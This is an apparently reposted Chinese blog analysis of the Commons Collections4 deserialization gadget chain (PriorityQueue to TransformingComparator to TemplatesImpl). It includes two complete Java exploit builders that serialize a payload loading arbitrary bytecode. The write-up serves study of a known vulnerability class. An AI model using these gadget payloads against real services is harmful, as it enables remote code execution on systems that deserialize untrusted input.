CommonsCollections4反序列化分析

cc4

调用链

Untitled

后半段的话和cc3差不多,只是改变了前面的入口,简单分析一下这条链子

首先看一下谁调用了ChainedTransformer的transform

Untitled

可以找到一处TransformingComparator的compare调用了transform

Untitled

如果继续找的话其实还有很多compare 我不懂,反正最后再PriorityQueue的readObject()有个利用点,

cc4前半段分析

Untitled

我们进入readObject中的heapify(),里面存在一个siftDown()方法

Untitled

进入seftDown()方法

Untitled

再进入siftDownUsingComparator(),在此处调用了conpare,这就是入口到中间的链子

Untitled

尝试一下构造EXP:

Untitled

尝试执行后无果 我们再heapify()设个断点,此时我们的size=0 所以size>>>1-1就等于-1

Untitled

我们至少让i初始值为0才能进入循环,也就是size初始值为2

Untitled

所以我们要增加队列为2

Untitled

但是尝试一下之后还是报错了,这里的原因是因为在add(2)的时候也会触发一系列链子导致本地执行,我们简单分析看一下:

Untitled

Untitled

size的初始值为0,所以可以理解add(1)的时候 i0 所以不会触发siftup,但是当我们add(2)的时候,size再+1之前被赋值给i,此时i1,就会触发siftup函数,跟进一下

Untitled

我们初始化有comparator 所以就会进入siftUpUsingComparator中,然后会在if条件中触发compare

(当然我们的k就是之前赋值过来的I,肯定是>0的)

Untitled

而字节码加载的某个类只有在反序列化时才会自动加载进来,所以会报错,那这里就像URLDNS链一样解决就好了。

  setFieldValue(transformingComparator,"transformer",chainedTransformer);

EXP1:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

// 主程序
public class cc4test {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "calc");

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { obj })
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue  priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        setFieldValue(transformingComparator,"transformer",chainedTransformer);

//        serialize(priorityQueue);
        unserialize("s.bin");
    }

    //序列化数据
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("s.bin"));
        oos.writeObject(obj);
    }

    //反序列化数据
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

无需Transformer数组的EXP

上面的EXP最后还是需要用到Transformer数组,原因还是我们前面是无法控制transform调用链中的第一个传参而导致我们需要传入一个ConstantTransformer 等等等等,但是我们在cc3中学过一个函数InstantiateTransformer ,就对接cc3的后半段思路就行了

Untitled

那么这个地方是怎么解决可以自己选择传参呢?延续cc3中对PriorityQueue.object的分析,当我们反序列化进入到siftDownUsingComparaotr的时候会传入一个k 和x ,k就是队列下标,x就是对应下标的内容,我们知道2个队列的时候只有下标为0的那个队列会触发这个函数

Untitled

然后下一步就会进入到TransformingComparator 的compare方法中,当然我们的x ,就是我们可控的下表为0的队列也会在如下图的地方被传入

Untitled

然后接着被传入到我们下面的transformer.transform()中,而transformer我们可以通过构造函数把他初始化成为InstantiateTransformer

Untitled

会看我们初始化的InstantiateTransformer

        
        //byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
        //TemplatesImpl obj = new TemplatesImpl();
        //setFieldValue(obj, "_bytecodes", new byte[][] {code});
        //setFieldValue(obj, "_name", "calc");

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{obj});

再看一下他的transform方法

Untitled

此时input就是我们可控的下标为0的队列,然后结合cc3,我们就完成了一系列的可控的反序列化了

EXP2

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc4test2 {

    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "calc");

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{obj});

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(TrAXFilter.class);
        priorityQueue.add(2);

        setFieldValue(transformingComparator,"transformer",instantiateTransformer);
        serialize(priorityQueue);
        unserialize("serzsd.bin");

    }
    //序列化数据
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serzsd.bin"));
        oos.writeObject(obj);
    }

    //反序列化数据
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

参考资料:

  • http://blog.csdn.net/qq_61237064/article/details/127562385?spm=1001.2014.3001.5502
本文转载于网络 如有侵权请联系删除

相关文章

  • 面向对象中的内部类

    1、成员内部类将一个类A定义在另一个类B里面,里面的那个类A就称为内部类,B则称为外部类。1.1、定义格式<spanclass="hljs-class"><spanclass="hljs-keyword">class</span>外部类</span>{ <spanclass="hljs-class"><spanclass="hljs-keyword">class</span>内部类</span>{ } }复制在描述事物时,若一个事物内部还包含其他事物,就可以使用内部类这种结构。比如,电脑Computer类中包含鼠标Mouse类,这时,Computer就可以使用内部类来描述,定义在成员位置。如:<spanclass="hljs-class"><spanclass="hljs-keyword">class</span><spanclas

  • CentOS 7 安装MySQL 5.7 或安装指定版本MySQL「建议收藏」

    大家好,又见面了,我是你们的朋友全栈君。文章目录1摘要2安装步骤2.1更新yum2.2添加MySQL的yum仓库源3选择指定的mysql版本3.1查看所有的mysql版本3.2启用指定版本的mysql4安装mysql5MySQL初始化设置6设置MySQL开机启动7设置远程连接8配置文件9推荐参考文档1摘要目前(2019)年,MySQL的最新版本为MySQL8.0,然而很多项目中依然使用的是MySQL5.7,个人开发环境中为了和线上项目数据库保持一致,也需要安装相同版本的MySQL,即安装MySQL5.7。本文将介绍如何在CentOS7系统中安装MySQL5.7以及安装指定版本的MySQL。MySQL官方文档:InstallingMySQLonLinuxUsingtheMySQLYumRepository(文章根据官方文档整理,熟悉Linux基本操作的同学可直接参考官方文档)2安装步骤2.1更新yum在使用yum安装MySQL前,先更新yumyumupdate-y复制2.2添加MySQL的yum仓库源Mysql仓库源地址:https://dev.mysql.com/downloads/r

  • 示例驱动的用户意图发现:允许用户通过示例查询跨越SQL障碍(CS HC)

    传统的数据系统需要专门的技术技能,用户需要了解数据组织并编写精确的查询来访问数据。因此,缺乏技术专业知识的新手用户在阅读和分析数据时会遇到障碍。现有工具可通过关键字搜索,查询推荐和查询自动完成来辅助制定查询,但仍需要一些技术知识。访问数据的另一种方法是示例查询(QBE),用户只需提供其预期数据的示例即可表达其数据探索意图。我们研究了一种称为SQuID的最新QBE系统,并将其与传统的SQL查询进行了对比。我们的对比用户研究表明,拥有不同专业知识的用户使用SQuID比SQL更有效。我们发现SQuID消除了研究数据库架构,形式化任务语义以及编写语法正确的SQL查询的障碍,从而大大减轻了对数据探索中的技术专业知识的需求。原文题目:Example-DrivenUserIntentDiscovery:EmpoweringUserstoCrosstheSQLBarrierThroughQuerybyExample原文:Traditionaldatasystemsrequirespecializedtechnicalskillswhereusersneedtounderstandthedataorga

  • mysql复合索引、普通索引总结

    (转)mysql复合索引、普通索引总结对于复合索引:Mysql从左到右的使用索引中的字段,一个查询可以只使用索引中的一部份,但只能是最左侧部分。例如索引是keyindex(a,b,c).可以支持a|a,b|a,b,c3种组合进行查找,但不支持b,c进行查找.当最左侧字段是常量引用时,索引就十分有效。下面用几个例子对比查询条件的不同对性能影响.createtabletest( aint, bint, cint, KEYa(a,b,c) );优:select*fromtestwherea=10andb>50 差:select*fromtestwherea50优:select*fromtestwhereorderbya 差:select*fromtestwhereorderbyb 差:select*fromtestwhereorderbyc优:select*fromtestwherea=10orderbya 优:select*fromtestwherea=10orderbyb 差:select*fromtestwherea=10orderbyc优:select*fromtestwher

  • 速读原著-借助开源工具高效完成 Java 应用的运行分析

    借助开源工具高效完成Java应用的运行分析不止一次,我们都萌发过想对运行中程序的底层状况一探究竟的念头。产生这种需求的原因可能是运行缓慢的服务、Java虚拟机(JVM)崩溃、挂起、死锁、频繁的JVM暂停、突然或持续的高CPU使用率、甚至于可怕的内存溢出(OOME)。好消息是现在已有许多工具能帮你得到Java虚拟机运行过程中的不同参数,这些信息有助于你了解其内部状况,从而诊断上述的各种情况。在这篇文章中,我将介绍一些优秀的开源工具。其中一些是JVM自带的,另一些则是第三方工具。我将从最简单的工具开始介绍,逐渐过渡到一些比较复杂的工具。本文的目的是帮助你找到合适的调试诊断工具,这样当程序出现执行异常、缓慢或根本不能执行时,手头随时有可用的工具。 好了,让我们出发。如果程序出现不正常的高内存负载、频繁无响应或内存溢出,通常最好的分析切入点是查看内存对象。幸好JVM内置了工具“jmap”,让它天生就能完成这种任务。Jmap(借助JPM的一点帮助)Oracle将jmap描述为一种“输出进程、核心文件、远程调试服务器的共享对象内存映射和堆内存细节”的程序。本文将使用jmap打印一张内存统计图。为了

  • 笔记:Docker命令自动补全

    版权声明:本文为博主原创文章,遵循CC4.0BY-SA版权协议,转载请附上原文出处链接和本声明。本文链接:https://blog.csdn.net/solaraceboy/article/details/100539699笔记:Docker命令自动补全一背景作为一名Linux重度用户,每次敲命令总会情不自禁地按下Tab键。在键入Docker命令时也会出现类似的习惯性动作。那么是否Docker相关命令也能自动补全呢?二操作步骤2.1安装bash-completionsudoyuminstall-ybash-completion复制安装完成之后重启系统或者重新登录shell。如果安装成功。键入dockerp后,再Tab键,系统显示如下:pausepluginportpspullpush复制此时,我们运行例如dockerrun之类的命令,键入镜像的首字母,镜像名称依然无法自动补全。2.2根据Docker官方文档进一步配置sudocurl-Lhttps://raw.githubusercontent.com/docker/compose/1.24.1/contrib/completion/b

  • 【算法系列】Boosting

    Boosting方法是一种用来提高弱分类算法准确度的方法,这种方法通过构造一个预测函数系列,然后以一定的方式将他们组合成一个预测函数。Boosting是一种提高任意给定学习算法准确度的方法。它的思想起源于Valiant提出的PAC(ProbablyApproximatelyCorrect)学习模型。

  • 开源之路:从 MySQL + Oracle 到 Github + Microsoft

    最近,微软收购Github让整个开源界大吃一惊,很多人说『业界最大的闭源组织』收购了『业界上最大的开源组织』,然而75亿美元的收购价格,让开源找到了一个更好的出路。这让我想起2009年,Oracle以74亿美元的价格收购SUN的壮举,在那次购并中,SUN以10亿美元购入的MySQL成为了Oracle的囊中之物,这可以看做『世界上最大的闭源数据库』收购了『世界上最大的开源数据库』。Github的联合创始人TomPreston-Werner,曾经在他的博客中记录Github的缘起: 在2007年,我一个人独坐旧金山的Zeke体育酒吧内...那一晚却铭记一生。那一晚,GitHub诞生了。 ...ChrisWanstrath进来了...当时我示意他过来,直接跟他说:“我有个好想法!”,我告诉他想创建一个专属于程序员的社交网站,程序员们可以在这个网站上分享自己的Git软件库,集思广益。名字我都想好了:GitHub。他的回答简短而有力:“好!我加入!” 2007年,10月19日,星期五,晚上10点24分,Chris把第一份GitHub软件库发送给我,GitHub正式成立。 接下来的三个月,我和

  • 最短的包含字符串

    给出一个字符串,求该字符串的一个子串s,s包含A-Z中的全部字母,并且s是所有符合条件的子串中最短的,输出s的长度。如果给出的字符串中并不包括A-Z中的全部字母,则输出NoSolution。   Input第1行,1个字符串。字符串的长度<=100000。Output输出包含A-Z的最短子串s的长度。如果没有符合条件的子串,则输出NoSolution。SampleInput BVCABCDEFFGHIJKLMMNOPQRSTUVWXZYZZ复制 SampleOutput 28双指针法的灵活运用:不满足条件时,右指针向右移一步,右指针指向末尾时结束(即无法再增加数时)满足条件时,更新ans,左指针向右移一步复制 #include<iostream> #include<cstdio> #include<cstring> #include<algorithm> #defineINF0x3f3f3f3f usingnamespacestd; intmain() { intnstr,q=0,p=0,len=0,ans=INF,l

  • 贝努利分布的随机数

    一、功能 产生贝努利分布的随机数。 二、方法简介 贝努利分布的概率密度函数为 \[f(x)=\left\{\begin{matrix} p,&x=1\\ 1-p,&x=0 \end{matrix}\right. \]通常用\(BN(p)\)表示。贝努利分布的均值为\(p\),方差为\(p(1-p)\)。 产生贝努利分布随机变量\(x\)的具体算法如下: 产生均匀分布的随机数\(u\),即\(u\simU(0,1)\); 如果\(x\leqslantp\),那么\(x=1\);否则\(x=0\)。 三、使用说明 是用C语言实现产生贝努利分布随机数的方法如下: /************************************ p---贝努利分布参数p s---随机数种子 ************************************/ #include"uniform.c" interlang(doublep,longint*s) { intx; doubleu; u=uniform(0.0,1.0,s); x=(u<=p)?1:

  • nginx限流+jmeter

    一般情况下,首页的并发量是比较大的,即使有了多级缓存,如果有大量恶意的请求,也会对系统造成影响。而限流就是保护措施之一。 nginx提供两种限流的方式: 一是控制速率 二是控制并发连接数 控制速率# 控制速率的方式之一就是采用漏桶算法。 漏桶算法实现控制速率限流# 漏桶(LeakyBucket)算法思路很简单,水(请求)先进入到漏桶里,漏桶以一定的速度出水(接口有响应速率),当水流入速度过大会直接溢出(访问频率超过接口响应速率),然后就拒绝请求,可以看出漏桶算法能强行限制数据的传输速率.示意图如下: 漏桶算法实现nginx的配置 配置示意图如下: 修改/usr/local/openresty/nginx/conf/nginx.conf: #usernobody; userrootroot; worker_processes1; ​ #error_loglogs/error.log; #error_loglogs/error.lognotice; #error_loglogs/error.loginfo; ​ #pidlogs/nginx.pid; ​ ​ events{ w

  • MySQL内存表的特性与使用介绍

    内存表,就是放在内存中的表,所使用内存的大小可通过My.cnf中的max_heap_table_size指定,如max_heap_table_size=1024M,内存表与临时表并不相同,临时表也是存放在内存中,临时表最大所需内存需要通过tmp_table_size=128M设定。当数据超过临时表的最大值设定时,自动转为磁盘表,此时因需要进行IO操作,性能会大大下降,而内存表不会,内存表满后,会提示数据满错误。 临时表和内存表都可以人工创建,但临时表更多的作用是系统自己创建后,组织数据以提升性能,如子查询,临时表在多个连接之间不能共享。这里只讨论内存表 创建表是,用engine=heap可创建(mysql5.5中已经不支持type,以后都用engine,形成习惯)。 createtabletest ( idintunsignednotnullauto_incrementprimarykey, statechar(10), typechar(20), datechar(30) )ENGINE=MEMORYDEFAULTCHARSET=utf8; 复制 内存表的特性 内存表的表定

  • JAVA批量生成Word文件(Poi_tl)

    需求: 需要大批量的给接口生成审批word文件,每个文件中时间与标题各自独立这里只针对word生成,Excel后面工作用到的再更新poi-tl(poitemplatelanguage)是Word模板引擎,使用Word模板和数据创建很棒的Word文档。官网Maven<dependency> <groupId>com.deepoove</groupId> <artifactId>poi-tl</artifactId> <version>1.10.0</version> </dependency>复制这里的需求只需要基于一个模板即可生成所有的文件,所以只需要在模板中先准备好所有固定的东西,再补充上标签即可进行填充。template.docx生成代码:packagexyz.diuut; importcom.deepoove.poi.XWPFTemplate; importjava.io.File; importjava.io.FileOutputStream; importjava.io.IOEx

  • 1-2月智利,越南,阿根廷5G技术标准更新

    智利SUBTEL宣布启用5G技术 2021年12月16日,智利电信监管机构(SUBTEL)发布官方新闻宣布智利成为拉美地区首个启用5G技术的国家,并要求电信运营商的5G网络人口覆盖率需达90%。即日起运营商即可展开5G网络服务,并为拥有5G移动设备的用户提供合适的商业计划。     越南MIC发布第29/2021/TT-BTTTT号通告   2021年12月31日,越南信息通信部(MIC)发布了第29/2021/TT-BTTTT号通告,规划了2300-2400MHz频段,并且根据IMT-Advanced1标准及后续版本部署移动通信系统。通告29/2021/TT-BTTTT的一些要点如下:1.划分了2300-2400MHz频段a)将2300-2390MHz频段划分为3个时分双工块,即A1、A2、A3,每个块的宽度为30MHz;b)将2390-2400MHz频段作为保障频段。2.获得许可使用同一频段2300-2400MHz的企业有责任相互协调避免有害干扰,同步TDD方法的数据帧,并妥善执行该频段使用许可的内容。该通告适用于在越南制造、进口、贸易和使用无线电设备

  • 数据结构与算法《四》

    一切推理都必须从观察与实验得来。——伽利略·伽利雷 LeetCode:搜索二维矩阵II 编写一个高效的算法来搜索mxn矩阵matrix中的一个目标值target。该矩阵具有以下特性: 每行的元素从左到右升序排列。 每列的元素从上到下升序排列。 示例: 现有矩阵matrix如下: [ [1,4,7,11,15], [2,5,8,12,19], [3,6,9,16,22], [10,13,14,17,24], [18,21,23,26,30] ] 复制 给定target=5,返回true。 给定target=20,返回false。 分析: 解法一: 因为矩阵每一行都是升序排列,所以可以使用二分查找,对每行做二分查找。 Code: classSolution{ publicbooleansearchMatrix(int[][]matrix,inttarget){ for(inti=0;i<matrix.length;++i){ intleft=0; intright=matrix[i].length-1; while(left<=right){ intmid=(left+

  • SUSAN角点检测

    closeall; clearall; I=imread('corner2.gif'); [posX,posY]=susan(I,3); figure; imshow(I);holdon; plot(posX,posY,'g*');复制 ViewCode function[posX,posY]=susan(I,radius) %SUSAN角点检测 %I:输入图像 %radius:圆形模板的半径 %(posX,posY):角点坐标 [r,c]=size(I); mask=generatemask(radius); th1=20;%阈值越小,提取的角点越多 th2=sum(mask(:))/2;%阈值越大,提取的角点越多 R=zeros(r,c);%角点响应值 res=zeros(r,c);%是否是角点 fori=radius+1:r-radius forj=radius+1:c-radius B=I(i-radius:i+radius,j-radius:j+radius); usan=(abs(B-I(i,j))<th1).*mask;%USAN区域 N=sum(u

  • Open 3D点云处理基础,你是我爹

    CSDN:https://blog.csdn.net/weixin_46098577/article/details/120167360 孙悟空,你是我爹。

  • Haar特征与积分图

    转自:http://blog.csdn.net/weixingstudio/article/details/7631241   Haar特征与积分图 1.Adaboost方法的引入 1.1Boosting方法的提出和发展        在了解Adaboost方法之前,先了解一下Boosting方法。        回答一个是与否的问题,随机猜测可以获得50%的正确率。如果一种方法能获得比随机猜测稍微高一点的正确率,则就可以称该得到这个方法的过程为弱学习;如果一个方法可以显著提高猜测的正确率,则称获取该方法的过程为强学习。1994年,Kearns和Valiant证明,在Valiant的PAC(ProbablyApproximatelyCorrect)模型中,只要数据足够多,就可以将弱学习算法通过集成的方式提高到任意精度。实际上,1990年,SChapire就首先构造出一种多项式级的算法,将弱学习算法提升为强学习算法,就是最初的Boostin

  • 简介

    git模型 git提交操作解释 用gitadd把文件添加进去,实际上就是把文件修改添加到暂存区; 用gitcommit提交更改,实际上就是把暂存区的所有内容提交到当前分支

  • 【Idea】使用中的一些问题

    问题清单: 1.IDEA每次部署都把部署文件放在哪了? C:\Users\dszho\.IntelliJIdea2016.2\system\tomcat\Unnamed_scenic\work\Catalina\localhost

  • MyBatis配置文件中的标签mappers的子标签mapper的url属性

    在浏览器中输入file:/可以打开访达根目录,file:后面至少跟一个杠 MyBatis配置文件中的标签mappers的子标签mapper的url属性中file:后面至少要跟两个杠

相关推荐

推荐阅读